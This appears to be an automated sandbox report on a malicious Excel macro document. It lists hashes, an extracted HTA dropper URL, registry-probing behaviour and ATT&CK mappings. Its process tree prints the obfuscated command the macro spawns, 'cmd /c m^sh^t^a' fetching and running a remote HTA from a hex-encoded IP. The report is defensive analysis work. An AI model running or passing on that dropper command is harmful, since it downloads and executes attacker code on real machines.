9d3854a143ef21ea2f229b04928a70a0bb2f546162e2eae563243d867e00d1ce

General

Target

9d3854a143ef21ea2f229b04928a70a0bb2f546162e2eae563243d867e00d1ce.xls
Size

65KB
MD5

d13888aa7ccb2000c133b0ca9a1bd653
SHA1

a9e3e296c1b75aaee53f93f96d603107a9a6874c
SHA256

9d3854a143ef21ea2f229b04928a70a0bb2f546162e2eae563243d867e00d1ce
SHA512

209487538b7314b8f0051ced9bd8850c7dcb3f0e5302722fe799a725e067202959484d72613d1c307b2daba7c1db5ccab6cb781b23808ae92f116b0cc70981bd

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4012	2696	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

47 3284 mshta.exe

flow	pid	process
47	3284	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2696 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2696 wrote to memory of 4012	2696	EXCEL.EXE	cmd.exe
PID 2696 wrote to memory of 4012	2696	EXCEL.EXE	cmd.exe
PID 4012 wrote to memory of 3284	4012	cmd.exe	mshta.exe
PID 4012 wrote to memory of 3284	4012	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9d3854a143ef21ea2f229b04928a70a0bb2f546162e2eae563243d867e00d1ce.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4012

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:3284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2696-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/2696-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/2696-117-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/2696-118-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/2696-119-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/2696-120-0x0000018A7E0F0000-0x0000018A7E0F2000-memory.dmp

Filesize
8KB

Download
memory/2696-121-0x0000018A7E0F0000-0x0000018A7E0F2000-memory.dmp

Filesize
8KB

Download
memory/2696-122-0x0000018A7E0F0000-0x0000018A7E0F2000-memory.dmp

Filesize
8KB

Download
memory/2696-128-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

Filesize
64KB

Download
memory/2696-129-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

Filesize
64KB

Download
memory/3284-279-0x0000000000000000-mapping.dmp

Download
memory/4012-278-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads